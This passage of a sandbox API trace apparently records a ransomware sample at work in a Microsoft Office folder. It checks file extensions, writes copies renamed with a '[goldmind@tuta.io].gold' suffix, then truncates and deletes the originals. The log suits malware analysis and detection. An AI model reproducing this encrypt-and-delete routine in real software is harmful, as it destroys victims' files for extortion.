[0110.884] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1 [0110.884] lstrlenW (lpString=".pdf") returned 4 [0110.884] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0110.884] lstrlenW (lpString=".xls") returned 4 [0110.884] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0110.884] lstrlenW (lpString=".xlsx") returned 5 [0110.884] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1 [0110.884] lstrlenW (lpString=".ppt") returned 4 [0110.884] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0110.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE") returned 67 [0110.884] lstrlenW (lpString=".zip") returned 4 [0110.884] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0110.884] lstrlenW (lpString=".rar") returned 4 [0110.884] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0110.884] lstrlenW (lpString=".bz2") returned 4 [0110.884] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0110.885] lstrlenW (lpString=".7z") returned 3 [0110.885] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0110.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE") returned 67 [0110.885] lstrlenW (lpString=".dbf") returned 4 [0110.885] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0110.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE") returned 67 [0110.885] lstrlenW (lpString=".1cd") returned 4 [0110.885] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0110.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE") returned 67 [0110.885] lstrlenW (lpString=".jpg") returned 4 [0110.885] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0110.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE") returned 67 [0110.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE") returned 67 [0110.885] lstrlenW (lpString=".doc") returned 4 [0110.885] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0110.885] lstrlenW (lpString=".docx") returned 5 [0110.885] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1 [0110.885] lstrlenW (lpString=".pdf") returned 4 [0110.885] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0110.885] lstrlenW (lpString=".xls") returned 4 [0110.885] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0110.885] lstrlenW (lpString=".xlsx") returned 5 [0110.885] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1 [0110.885] lstrlenW (lpString=".ppt") returned 4 [0110.885] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0110.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE") returned 67 [0110.885] lstrlenW (lpString=".zip") returned 4 [0110.885] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0110.885] lstrlenW (lpString=".rar") returned 4 [0110.885] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0110.885] lstrlenW (lpString=".bz2") returned 4 [0110.885] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0110.885] lstrlenW (lpString=".7z") returned 3 [0110.885] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0110.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE") returned 67 [0110.885] lstrlenW (lpString=".dbf") returned 4 [0110.885] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0110.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE") returned 67 [0110.885] lstrlenW (lpString=".1cd") returned 4 [0110.885] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0110.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE") returned 67 [0110.885] lstrlenW (lpString=".jpg") returned 4 [0110.885] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0110.885] lstrcmpiW (lpString1=".SAM", lpString2=".gold") returned 1 [0110.885] lstrlenW (lpString="OLR.SAM") returned 7 [0110.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olr.sam"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0110.886] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=15760) returned 1 [0110.886] CloseHandle (hObject=0x3c0) returned 1 [0110.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olr.sam")) returned 0x20 [0110.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olr.sam.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olr.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0110.887] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.887] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olr.sam.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0110.887] GetLastError () returned 0x0 [0110.887] ReadFile (in: hFile=0x3c0, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x3d90, lpOverlapped=0x0) returned 1 [0110.889] WriteFile (in: hFile=0x3ac, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x3da0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x3da0, lpOverlapped=0x0) returned 1 [0110.889] ReadFile (in: hFile=0x3c0, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0110.889] WriteFile (in: hFile=0x3ac, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0110.890] SetEndOfFile (hFile=0x3ac) returned 1 [0110.890] CloseHandle (hObject=0x3ac) returned 1 [0110.890] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.890] SetEndOfFile (hFile=0x3c0) returned 1 [0110.891] CloseHandle (hObject=0x3c0) returned 1 [0110.892] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.892] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olr.sam")) returned 1 [0110.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM") returned 63 [0110.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM") returned 63 [0110.893] lstrlenW (lpString=".doc") returned 4 [0110.893] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0110.893] lstrlenW (lpString=".docx") returned 5 [0110.893] lstrcmpiW (lpString1=".docx", lpString2="R.SAM") returned -1 [0110.893] lstrlenW (lpString=".pdf") returned 4 [0110.893] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0110.893] lstrlenW (lpString=".xls") returned 4 [0110.893] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0110.893] lstrlenW (lpString=".xlsx") returned 5 [0110.893] lstrcmpiW (lpString1=".xlsx", lpString2="R.SAM") returned -1 [0110.893] lstrlenW (lpString=".ppt") returned 4 [0110.893] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0110.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM") returned 63 [0110.893] lstrlenW (lpString=".zip") returned 4 [0110.893] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0110.893] lstrlenW (lpString=".rar") returned 4 [0110.893] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0110.893] lstrlenW (lpString=".bz2") returned 4 [0110.893] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0110.893] lstrlenW (lpString=".7z") returned 3 [0110.893] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0110.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM") returned 63 [0110.893] lstrlenW (lpString=".dbf") returned 4 [0110.893] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0110.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM") returned 63 [0110.893] lstrlenW (lpString=".1cd") returned 4 [0110.893] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0110.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM") returned 63 [0110.893] lstrlenW (lpString=".jpg") returned 4 [0110.893] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0110.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM") returned 63 [0110.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM") returned 63 [0110.893] lstrlenW (lpString=".doc") returned 4 [0110.893] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0110.893] lstrlenW (lpString=".docx") returned 5 [0110.893] lstrcmpiW (lpString1=".docx", lpString2="R.SAM") returned -1 [0110.893] lstrlenW (lpString=".pdf") returned 4 [0110.893] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0110.893] lstrlenW (lpString=".xls") returned 4 [0110.893] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0110.893] lstrlenW (lpString=".xlsx") returned 5 [0110.893] lstrcmpiW (lpString1=".xlsx", lpString2="R.SAM") returned -1 [0110.893] lstrlenW (lpString=".ppt") returned 4 [0110.893] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0110.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM") returned 63 [0110.893] lstrlenW (lpString=".zip") returned 4 [0110.894] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0110.894] lstrlenW (lpString=".rar") returned 4 [0110.894] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0110.894] lstrlenW (lpString=".bz2") returned 4 [0110.894] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0110.894] lstrlenW (lpString=".7z") returned 3 [0110.894] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0110.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM") returned 63 [0110.894] lstrlenW (lpString=".dbf") returned 4 [0110.894] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0110.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM") returned 63 [0110.894] lstrlenW (lpString=".1cd") returned 4 [0110.894] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0110.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM") returned 63 [0110.894] lstrlenW (lpString=".jpg") returned 4 [0110.894] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0110.894] lstrcmpiW (lpString1=".FAE", lpString2=".gold") returned -1 [0110.894] lstrlenW (lpString="OLTASKR.FAE") returned 11 [0110.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oltaskr.fae"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0110.895] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=10672) returned 1 [0110.895] CloseHandle (hObject=0x3c0) returned 1 [0110.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oltaskr.fae")) returned 0x20 [0110.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oltaskr.fae.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oltaskr.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0110.895] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.895] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oltaskr.fae.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0110.896] GetLastError () returned 0x0 [0110.896] ReadFile (in: hFile=0x3c0, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x29b0, lpOverlapped=0x0) returned 1 [0110.898] WriteFile (in: hFile=0x3ac, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x29c0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x29c0, lpOverlapped=0x0) returned 1 [0110.898] ReadFile (in: hFile=0x3c0, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0110.898] WriteFile (in: hFile=0x3ac, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xea, lpOverlapped=0x0) returned 1 [0110.899] SetEndOfFile (hFile=0x3ac) returned 1 [0110.899] CloseHandle (hObject=0x3ac) returned 1 [0110.899] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.899] SetEndOfFile (hFile=0x3c0) returned 1 [0110.900] CloseHandle (hObject=0x3c0) returned 1 [0110.900] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.901] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oltaskr.fae")) returned 1 [0110.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE") returned 67 [0110.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE") returned 67 [0110.901] lstrlenW (lpString=".doc") returned 4 [0110.901] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0110.902] lstrlenW (lpString=".docx") returned 5 [0110.902] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1 [0110.902] lstrlenW (lpString=".pdf") returned 4 [0110.902] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0110.902] lstrlenW (lpString=".xls") returned 4 [0110.902] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0110.902] lstrlenW (lpString=".xlsx") returned 5 [0110.902] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1 [0110.902] lstrlenW (lpString=".ppt") returned 4 [0110.902] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0110.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE") returned 67 [0110.902] lstrlenW (lpString=".zip") returned 4 [0110.902] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0110.902] lstrlenW (lpString=".rar") returned 4 [0110.902] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0110.902] lstrlenW (lpString=".bz2") returned 4 [0110.902] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0110.902] lstrlenW (lpString=".7z") returned 3 [0110.902] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0110.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE") returned 67 [0110.902] lstrlenW (lpString=".dbf") returned 4 [0110.902] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0110.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE") returned 67 [0110.902] lstrlenW (lpString=".1cd") returned 4 [0110.902] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0110.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE") returned 67 [0110.902] lstrlenW (lpString=".jpg") returned 4 [0110.902] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0110.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE") returned 67 [0110.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE") returned 67 [0110.902] lstrlenW (lpString=".doc") returned 4 [0110.902] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0110.902] lstrlenW (lpString=".docx") returned 5 [0110.902] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1 [0110.902] lstrlenW (lpString=".pdf") returned 4 [0110.902] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0110.902] lstrlenW (lpString=".xls") returned 4 [0110.902] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0110.902] lstrlenW (lpString=".xlsx") returned 5 [0110.902] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1 [0110.902] lstrlenW (lpString=".ppt") returned 4 [0110.902] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0110.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE") returned 67 [0110.902] lstrlenW (lpString=".zip") returned 4 [0110.903] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0110.903] lstrlenW (lpString=".rar") returned 4 [0110.903] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0110.903] lstrlenW (lpString=".bz2") returned 4 [0110.903] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0110.903] lstrlenW (lpString=".7z") returned 3 [0110.903] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0110.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE") returned 67 [0110.903] lstrlenW (lpString=".dbf") returned 4 [0110.903] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0110.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE") returned 67 [0110.903] lstrlenW (lpString=".1cd") returned 4 [0110.903] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0110.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE") returned 67 [0110.903] lstrlenW (lpString=".jpg") returned 4 [0110.903] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0110.903] lstrcmpiW (lpString1=".SAM", lpString2=".gold") returned 1 [0110.903] lstrlenW (lpString="ORG97R.SAM") returned 10 [0110.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\org97r.sam"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0110.904] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=12704) returned 1 [0110.904] CloseHandle (hObject=0x3c0) returned 1 [0110.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\org97r.sam")) returned 0x20 [0110.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\org97r.sam.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\org97r.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0110.904] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.904] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\org97r.sam.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0110.905] GetLastError () returned 0x0 [0110.905] ReadFile (in: hFile=0x3c0, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x31a0, lpOverlapped=0x0) returned 1 [0110.907] WriteFile (in: hFile=0x3ac, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x31b0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x31b0, lpOverlapped=0x0) returned 1 [0110.908] ReadFile (in: hFile=0x3c0, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0110.908] WriteFile (in: hFile=0x3ac, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0110.908] SetEndOfFile (hFile=0x3ac) returned 1 [0110.908] CloseHandle (hObject=0x3ac) returned 1 [0110.909] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.909] SetEndOfFile (hFile=0x3c0) returned 1 [0110.910] CloseHandle (hObject=0x3c0) returned 1 [0110.910] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.911] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\org97r.sam")) returned 1 [0110.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM") returned 66 [0110.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM") returned 66 [0110.912] lstrlenW (lpString=".doc") returned 4 [0110.912] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0110.912] lstrlenW (lpString=".docx") returned 5 [0110.912] lstrcmpiW (lpString1=".docx", lpString2="R.SAM") returned -1 [0110.912] lstrlenW (lpString=".pdf") returned 4 [0110.912] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0110.912] lstrlenW (lpString=".xls") returned 4 [0110.912] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0110.912] lstrlenW (lpString=".xlsx") returned 5 [0110.912] lstrcmpiW (lpString1=".xlsx", lpString2="R.SAM") returned -1 [0110.912] lstrlenW (lpString=".ppt") returned 4 [0110.912] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0110.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM") returned 66 [0110.912] lstrlenW (lpString=".zip") returned 4 [0110.912] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 